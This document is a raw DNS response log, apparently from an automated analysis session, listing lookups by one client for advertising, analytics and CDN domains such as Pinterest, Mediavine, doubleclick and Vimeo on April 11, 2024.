Apr 11, 2024 23:27:55.743068933 CEST	1.1.1.1	192.168.2.17	0xe1e2	No error (0)	uipus.semasio.net		50.57.31.206	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:58.736588955 CEST	1.1.1.1	192.168.2.17	0x4cf5	No error (0)	inv-nets.admixer.net		216.219.92.22	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:01.859035015 CEST	1.1.1.1	192.168.2.17	0x5ab7	No error (0)	analytics.tiktok.com	analytics.tiktok.com.ttdns2.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:01.859035015 CEST	1.1.1.1	192.168.2.17	0x5ab7	No error (0)	analytics.tiktok.com.ttdns2.com	analytics.tiktok.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:01.859090090 CEST	1.1.1.1	192.168.2.17	0xe146	No error (0)	analytics.tiktok.com	analytics.tiktok.com.ttdns2.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:01.859090090 CEST	1.1.1.1	192.168.2.17	0xe146	No error (0)	analytics.tiktok.com.ttdns2.com	analytics.tiktok.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:04.302615881 CEST	1.1.1.1	192.168.2.17	0x30d4	No error (0)	ct.pinterest.com	www.pinterest.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:04.302615881 CEST	1.1.1.1	192.168.2.17	0x30d4	No error (0)	www.pinterest.com	www-pinterest-com.gslb.pinterest.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:04.302615881 CEST	1.1.1.1	192.168.2.17	0x30d4	No error (0)	www-pinterest-com.gslb.pinterest.com	2-01-37d2-0018.cdx.cedexis.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:04.302615881 CEST	1.1.1.1	192.168.2.17	0x30d4	No error (0)	prod.pinterest.global.map.fastly.net		151.101.192.84	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:04.302615881 CEST	1.1.1.1	192.168.2.17	0x30d4	No error (0)	prod.pinterest.global.map.fastly.net		151.101.64.84	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:04.302615881 CEST	1.1.1.1	192.168.2.17	0x30d4	No error (0)	prod.pinterest.global.map.fastly.net		151.101.0.84	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:04.302615881 CEST	1.1.1.1	192.168.2.17	0x30d4	No error (0)	prod.pinterest.global.map.fastly.net		151.101.128.84	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:04.303117037 CEST	1.1.1.1	192.168.2.17	0x20b2	No error (0)	ct.pinterest.com	www.pinterest.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:04.303117037 CEST	1.1.1.1	192.168.2.17	0x20b2	No error (0)	www.pinterest.com	www-pinterest-com.gslb.pinterest.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:04.303117037 CEST	1.1.1.1	192.168.2.17	0x20b2	No error (0)	www-pinterest-com.gslb.pinterest.com	www.gslb.pinterest.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:04.303117037 CEST	1.1.1.1	192.168.2.17	0x20b2	No error (0)	www.gslb.pinterest.net	www.pinterest.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:04.308830976 CEST	1.1.1.1	192.168.2.17	0x2351	No error (0)	imp-dev.mediavine.com	p.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:04.309207916 CEST	1.1.1.1	192.168.2.17	0xc67b	No error (0)	imp-dev.mediavine.com	p.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:04.315155029 CEST	1.1.1.1	192.168.2.17	0x3023	No error (0)	c.amazon-adsystem.com	d1ykf07e75w7ss.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:04.315378904 CEST	1.1.1.1	192.168.2.17	0xcb83	No error (0)	c.amazon-adsystem.com	d1ykf07e75w7ss.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:04.315378904 CEST	1.1.1.1	192.168.2.17	0xcb83	No error (0)	d1ykf07e75w7ss.cloudfront.net		108.138.115.149	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:04.326365948 CEST	1.1.1.1	192.168.2.17	0x4f81	No error (0)	analytics.google.com		142.250.80.46	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:04.330750942 CEST	1.1.1.1	192.168.2.17	0x51ae	No error (0)	some.growplow.events		172.64.196.28	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:04.330750942 CEST	1.1.1.1	192.168.2.17	0x51ae	No error (0)	some.growplow.events		172.64.197.28	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:04.332092047 CEST	1.1.1.1	192.168.2.17	0xed54	No error (0)	some.growplow.events			65	IN (0x0001)	false
Apr 11, 2024 23:28:05.163759947 CEST	1.1.1.1	192.168.2.17	0x7746	No error (0)	jslink.zapto.org		0.0.0.0	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:05.168577909 CEST	1.1.1.1	192.168.2.17	0xce99	No error (0)	player.vimeo.com	player.vimeo.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:05.168935061 CEST	1.1.1.1	192.168.2.17	0x51f2	No error (0)	player.vimeo.com	player.vimeo.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:05.175144911 CEST	1.1.1.1	192.168.2.17	0xf6e0	No error (0)	static.hotjar.com	static-cdn.hotjar.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:05.175647974 CEST	1.1.1.1	192.168.2.17	0x79d7	No error (0)	static.hotjar.com	static-cdn.hotjar.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:05.175647974 CEST	1.1.1.1	192.168.2.17	0x79d7	No error (0)	static-cdn.hotjar.com		108.138.106.101	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:05.175647974 CEST	1.1.1.1	192.168.2.17	0x79d7	No error (0)	static-cdn.hotjar.com		108.138.106.124	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:05.175647974 CEST	1.1.1.1	192.168.2.17	0x79d7	No error (0)	static-cdn.hotjar.com		108.138.106.126	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:05.175647974 CEST	1.1.1.1	192.168.2.17	0x79d7	No error (0)	static-cdn.hotjar.com		108.138.106.49	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:05.351106882 CEST	1.1.1.1	192.168.2.17	0xf673	No error (0)	widget.wickedreports.com		13.226.34.126	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:05.351106882 CEST	1.1.1.1	192.168.2.17	0xf673	No error (0)	widget.wickedreports.com		13.226.34.76	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:05.351106882 CEST	1.1.1.1	192.168.2.17	0xf673	No error (0)	widget.wickedreports.com		13.226.34.106	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:05.351106882 CEST	1.1.1.1	192.168.2.17	0xf673	No error (0)	widget.wickedreports.com		13.226.34.8	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:05.352914095 CEST	1.1.1.1	192.168.2.17	0xd5cb	No error (0)	googleads.g.doubleclick.net		142.250.80.66	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:05.353096962 CEST	1.1.1.1	192.168.2.17	0xe455	No error (0)	googleads.g.doubleclick.net			65	IN (0x0001)	false
Apr 11, 2024 23:28:05.357496023 CEST	1.1.1.1	192.168.2.17	0x64a5	No error (0)	td.doubleclick.net		142.251.40.162	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:05.632242918 CEST	1.1.1.1	192.168.2.17	0xbdf8	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:05.632242918 CEST	1.1.1.1	192.168.2.17	0xbdf8	No error (0)	star-mini.c10r.facebook.com		157.240.241.35	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:05.632476091 CEST	1.1.1.1	192.168.2.17	0x3d4d	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:05.647664070 CEST	1.1.1.1	192.168.2.17	0xeffe	No error (0)	stats.g.doubleclick.net		142.251.111.155	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:05.647664070 CEST	1.1.1.1	192.168.2.17	0xeffe	No error (0)	stats.g.doubleclick.net		142.251.111.154	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:05.664159060 CEST	1.1.1.1	192.168.2.17	0xabdf	No error (0)	scripts.mediavine.com	p.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:05.665716887 CEST	1.1.1.1	192.168.2.17	0x5e8c	No error (0)	scripts.mediavine.com	p.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:05.693948984 CEST	1.1.1.1	192.168.2.17	0xbd2f	No error (0)	exchange.mediavine.com		54.197.122.101	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:05.693948984 CEST	1.1.1.1	192.168.2.17	0xbd2f	No error (0)	exchange.mediavine.com		54.208.143.66	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:05.693948984 CEST	1.1.1.1	192.168.2.17	0xbd2f	No error (0)	exchange.mediavine.com		3.89.95.99	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:05.693948984 CEST	1.1.1.1	192.168.2.17	0xbd2f	No error (0)	exchange.mediavine.com		18.214.192.183	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:05.693948984 CEST	1.1.1.1	192.168.2.17	0xbd2f	No error (0)	exchange.mediavine.com		3.211.252.87	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:05.693948984 CEST	1.1.1.1	192.168.2.17	0xbd2f	No error (0)	exchange.mediavine.com		18.214.197.65	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:05.716109037 CEST	1.1.1.1	192.168.2.17	0x1b0c	No error (0)	keywords.mediavine.com	p.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:05.718240023 CEST	1.1.1.1	192.168.2.17	0xa01f	No error (0)	keywords.mediavine.com	p.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:05.821646929 CEST	1.1.1.1	192.168.2.17	0xf7c6	No error (0)	faves.grow.me	l2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:05.822396994 CEST	1.1.1.1	192.168.2.17	0x4f68	No error (0)	faves.grow.me	l2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:05.830826998 CEST	1.1.1.1	192.168.2.17	0x80fd	No error (0)	fresnel.vimeocdn.com		34.120.202.204	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:05.832300901 CEST	1.1.1.1	192.168.2.17	0xa5ce	No error (0)	i.vimeocdn.com	vimeo.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:05.832798958 CEST	1.1.1.1	192.168.2.17	0x6d90	No error (0)	i.vimeocdn.com	vimeo.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:05.832798958 CEST	1.1.1.1	192.168.2.17	0x6d90	No error (0)	vimeo.map.fastly.net		151.101.128.217	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:05.832798958 CEST	1.1.1.1	192.168.2.17	0x6d90	No error (0)	vimeo.map.fastly.net		151.101.192.217	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:05.832798958 CEST	1.1.1.1	192.168.2.17	0x6d90	No error (0)	vimeo.map.fastly.net		151.101.64.217	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:05.832798958 CEST	1.1.1.1	192.168.2.17	0x6d90	No error (0)	vimeo.map.fastly.net		151.101.0.217	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:05.832866907 CEST	1.1.1.1	192.168.2.17	0x4283	No error (0)	f.vimeocdn.com	vimeo-video.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:05.833519936 CEST	1.1.1.1	192.168.2.17	0x4c3c	No error (0)	f.vimeocdn.com	vimeo-video.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:05.833519936 CEST	1.1.1.1	192.168.2.17	0x4c3c	No error (0)	vimeo-video.map.fastly.net		199.232.38.109	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:05.996865034 CEST	1.1.1.1	192.168.2.17	0x1684	No error (0)	ct.pinterest.com	www.pinterest.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:05.996865034 CEST	1.1.1.1	192.168.2.17	0x1684	No error (0)	www.pinterest.com	www-pinterest-com.gslb.pinterest.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:05.996865034 CEST	1.1.1.1	192.168.2.17	0x1684	No error (0)	www-pinterest-com.gslb.pinterest.com	2-01-37d2-0018.cdx.cedexis.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:05.996865034 CEST	1.1.1.1	192.168.2.17	0x1684	No error (0)	prod.pinterest.global.map.fastly.net		151.101.0.84	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:05.996865034 CEST	1.1.1.1	192.168.2.17	0x1684	No error (0)	prod.pinterest.global.map.fastly.net		151.101.128.84	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:05.996865034 CEST	1.1.1.1	192.168.2.17	0x1684	No error (0)	prod.pinterest.global.map.fastly.net		151.101.192.84	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:05.996865034 CEST	1.1.1.1	192.168.2.17	0x1684	No error (0)	prod.pinterest.global.map.fastly.net		151.101.64.84	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:05.998249054 CEST	1.1.1.1	192.168.2.17	0xf191	No error (0)	ct.pinterest.com	www.pinterest.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:05.998249054 CEST	1.1.1.1	192.168.2.17	0xf191	No error (0)	www.pinterest.com	www-pinterest-com.gslb.pinterest.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:05.998249054 CEST	1.1.1.1	192.168.2.17	0xf191	No error (0)	www-pinterest-com.gslb.pinterest.com	www.gslb.pinterest.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:05.998249054 CEST	1.1.1.1	192.168.2.17	0xf191	No error (0)	www.gslb.pinterest.net	prod.pinterest.global.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:06.072809935 CEST	1.1.1.1	192.168.2.17	0xa834	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:06.073014975 CEST	1.1.1.1	192.168.2.17	0x4c49	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:06.073014975 CEST	1.1.1.1	192.168.2.17	0x4c49	No error (0)	star-mini.c10r.facebook.com		31.13.71.36	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:06.250901937 CEST	1.1.1.1	192.168.2.17	0x3551	No error (0)	stats.g.doubleclick.net		172.253.62.157	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:06.250901937 CEST	1.1.1.1	192.168.2.17	0x3551	No error (0)	stats.g.doubleclick.net		172.253.62.154	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:06.321065903 CEST	1.1.1.1	192.168.2.17	0x8286	No error (0)	i.vimeocdn.com	vimeo.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:06.321065903 CEST	1.1.1.1	192.168.2.17	0x8286	No error (0)	vimeo.map.fastly.net		151.101.0.217	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:06.321065903 CEST	1.1.1.1	192.168.2.17	0x8286	No error (0)	vimeo.map.fastly.net		151.101.64.217	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:06.321065903 CEST	1.1.1.1	192.168.2.17	0x8286	No error (0)	vimeo.map.fastly.net		151.101.192.217	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:06.321065903 CEST	1.1.1.1	192.168.2.17	0x8286	No error (0)	vimeo.map.fastly.net		151.101.128.217	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:06.321079016 CEST	1.1.1.1	192.168.2.17	0xf3c2	No error (0)	i.vimeocdn.com	vimeo.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:07.968667984 CEST	1.1.1.1	192.168.2.17	0xef38	No error (0)	api.grow.me	l2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:07.969458103 CEST	1.1.1.1	192.168.2.17	0x1b83	No error (0)	api.grow.me	l2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:08.410583019 CEST	1.1.1.1	192.168.2.17	0x67fb	No error (0)	api.grow.me	l2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:08.411043882 CEST	1.1.1.1	192.168.2.17	0xd55a	No error (0)	api.grow.me	l2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:08.439503908 CEST	1.1.1.1	192.168.2.17	0xad26	No error (0)	app.grow.me	l2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:08.439522028 CEST	1.1.1.1	192.168.2.17	0x3d3d	No error (0)	app.grow.me	l2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:10.947860003 CEST	1.1.1.1	192.168.2.17	0x5400	No error (0)	sda.fyi			65	IN (0x0001)	false
Apr 11, 2024 23:28:10.948426962 CEST	1.1.1.1	192.168.2.17	0xcd8	No error (0)	sda.fyi		104.21.41.99	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:10.948426962 CEST	1.1.1.1	192.168.2.17	0xcd8	No error (0)	sda.fyi		172.67.164.44	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:10.967003107 CEST	1.1.1.1	192.168.2.17	0x1858	No error (0)	scripts.mediavine.com	p.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:10.968111038 CEST	1.1.1.1	192.168.2.17	0x7ba1	No error (0)	scripts.mediavine.com	p.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:11.006688118 CEST	1.1.1.1	192.168.2.17	0x3b2c	No error (0)	exchange.mediavine.com		18.214.192.183	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.006688118 CEST	1.1.1.1	192.168.2.17	0x3b2c	No error (0)	exchange.mediavine.com		54.197.122.101	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.006688118 CEST	1.1.1.1	192.168.2.17	0x3b2c	No error (0)	exchange.mediavine.com		3.89.95.99	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.006688118 CEST	1.1.1.1	192.168.2.17	0x3b2c	No error (0)	exchange.mediavine.com		18.214.197.65	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.006688118 CEST	1.1.1.1	192.168.2.17	0x3b2c	No error (0)	exchange.mediavine.com		54.208.143.66	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.006688118 CEST	1.1.1.1	192.168.2.17	0x3b2c	No error (0)	exchange.mediavine.com		3.211.252.87	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.049086094 CEST	1.1.1.1	192.168.2.17	0xe514	No error (0)	sb.scorecardresearch.com		108.139.47.92	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.049086094 CEST	1.1.1.1	192.168.2.17	0xe514	No error (0)	sb.scorecardresearch.com		108.139.47.108	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.049086094 CEST	1.1.1.1	192.168.2.17	0xe514	No error (0)	sb.scorecardresearch.com		108.139.47.50	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.049086094 CEST	1.1.1.1	192.168.2.17	0xe514	No error (0)	sb.scorecardresearch.com		108.139.47.33	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.060177088 CEST	1.1.1.1	192.168.2.17	0xf6c3	No error (0)	pdmp.dcapi.tagger.opecloud.com		50.16.98.63	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.060177088 CEST	1.1.1.1	192.168.2.17	0xf6c3	No error (0)	pdmp.dcapi.tagger.opecloud.com		18.235.68.94	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.060177088 CEST	1.1.1.1	192.168.2.17	0xf6c3	No error (0)	pdmp.dcapi.tagger.opecloud.com		52.207.139.163	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.060518980 CEST	1.1.1.1	192.168.2.17	0xbbce	No error (0)	pdmp.papi-public.us-east-1.tagger.opecloud.com	pdmp.profiles.tagger.opecloud.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:11.060518980 CEST	1.1.1.1	192.168.2.17	0xbbce	No error (0)	pdmp.profiles.tagger.opecloud.com		34.233.81.87	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.060518980 CEST	1.1.1.1	192.168.2.17	0xbbce	No error (0)	pdmp.profiles.tagger.opecloud.com		34.239.40.49	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.061135054 CEST	1.1.1.1	192.168.2.17	0x1b5c	No error (0)	pdmp.papi-public.us-east-1.tagger.opecloud.com	pdmp.profiles.tagger.opecloud.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:11.180337906 CEST	1.1.1.1	192.168.2.17	0x876c	No error (0)	htlb.casalemedia.com		172.64.151.101	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.180337906 CEST	1.1.1.1	192.168.2.17	0x876c	No error (0)	htlb.casalemedia.com		104.18.36.155	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.180392027 CEST	1.1.1.1	192.168.2.17	0xd651	No error (0)	htlb.casalemedia.com			65	IN (0x0001)	false
Apr 11, 2024 23:28:11.201143980 CEST	1.1.1.1	192.168.2.17	0x444e	No error (0)	prebid-server.rubiconproject.com	prebid-server.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:11.201459885 CEST	1.1.1.1	192.168.2.17	0x23f7	No error (0)	prebid-server.rubiconproject.com	prebid-server.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:11.202650070 CEST	1.1.1.1	192.168.2.17	0x477f	No error (0)	tlx.3lift.com	us-east-tlx.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:11.202650070 CEST	1.1.1.1	192.168.2.17	0x477f	No error (0)	us-east-tlx.3lift.com		3.233.183.24	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.202650070 CEST	1.1.1.1	192.168.2.17	0x477f	No error (0)	us-east-tlx.3lift.com		3.218.122.15	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.202650070 CEST	1.1.1.1	192.168.2.17	0x477f	No error (0)	us-east-tlx.3lift.com		3.222.148.106	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.202650070 CEST	1.1.1.1	192.168.2.17	0x477f	No error (0)	us-east-tlx.3lift.com		107.22.180.23	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.202650070 CEST	1.1.1.1	192.168.2.17	0x477f	No error (0)	us-east-tlx.3lift.com		34.206.91.202	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.202954054 CEST	1.1.1.1	192.168.2.17	0x527b	No error (0)	fastlane.rubiconproject.com	tagged-by.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:11.203294992 CEST	1.1.1.1	192.168.2.17	0x76f5	No error (0)	fastlane.rubiconproject.com	tagged-by.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:11.203633070 CEST	1.1.1.1	192.168.2.17	0x5ddd	No error (0)	tlx.3lift.com	us-east-tlx.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:11.301800013 CEST	1.1.1.1	192.168.2.17	0x685c	No error (0)	imp-dev.mediavine.com	p.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:11.301860094 CEST	1.1.1.1	192.168.2.17	0x4681	No error (0)	imp-dev.mediavine.com	p.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:11.463380098 CEST	1.1.1.1	192.168.2.17	0xf4f9	No error (0)	aax.amazon-adsystem.com	aax-dtb-cf.amazon-adsystem.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:11.463380098 CEST	1.1.1.1	192.168.2.17	0xf4f9	No error (0)	aax-dtb-cf.amazon-adsystem.com	aax-dtb-cf.amazon-adsystem.amazon.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:11.463380098 CEST	1.1.1.1	192.168.2.17	0xf4f9	No error (0)	aax-dtb-cf.amazon-adsystem.amazon.com	d1jvc9b8z3vcjs.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:11.463380098 CEST	1.1.1.1	192.168.2.17	0xf4f9	No error (0)	d1jvc9b8z3vcjs.cloudfront.net		108.138.127.64	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.490197897 CEST	1.1.1.1	192.168.2.17	0x9193	No error (0)	aax.amazon-adsystem.com	aax-dtb-cf.amazon-adsystem.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:11.490197897 CEST	1.1.1.1	192.168.2.17	0x9193	No error (0)	aax-dtb-cf.amazon-adsystem.com	aax-dtb-cf.amazon-adsystem.amazon.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:11.490197897 CEST	1.1.1.1	192.168.2.17	0x9193	No error (0)	aax-dtb-cf.amazon-adsystem.amazon.com	d1jvc9b8z3vcjs.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:11.533962011 CEST	1.1.1.1	192.168.2.17	0xc257	No error (0)	pdmp.dcapi.tagger.opecloud.com		52.207.139.163	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.533962011 CEST	1.1.1.1	192.168.2.17	0xc257	No error (0)	pdmp.dcapi.tagger.opecloud.com		50.16.98.63	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.533962011 CEST	1.1.1.1	192.168.2.17	0xc257	No error (0)	pdmp.dcapi.tagger.opecloud.com		18.235.68.94	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.536952972 CEST	1.1.1.1	192.168.2.17	0x552f	No error (0)	pdmp.papi-public.us-east-1.tagger.opecloud.com	pdmp.profiles.tagger.opecloud.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:11.537581921 CEST	1.1.1.1	192.168.2.17	0x42b9	No error (0)	pdmp.papi-public.us-east-1.tagger.opecloud.com	pdmp.profiles.tagger.opecloud.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:11.537581921 CEST	1.1.1.1	192.168.2.17	0x42b9	No error (0)	pdmp.profiles.tagger.opecloud.com		34.239.40.49	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.537581921 CEST	1.1.1.1	192.168.2.17	0x42b9	No error (0)	pdmp.profiles.tagger.opecloud.com		34.233.81.87	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.626184940 CEST	1.1.1.1	192.168.2.17	0xf907	No error (0)	ap.lijit.com	vap.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:11.626184940 CEST	1.1.1.1	192.168.2.17	0xf907	No error (0)	vap.lijit.com	nae.vap.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:11.626184940 CEST	1.1.1.1	192.168.2.17	0xf907	No error (0)	nae.vap.lijit.com	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:11.626199961 CEST	1.1.1.1	192.168.2.17	0xd31f	No error (0)	ap.lijit.com	vap.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:11.626199961 CEST	1.1.1.1	192.168.2.17	0xd31f	No error (0)	vap.lijit.com	nae.vap.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
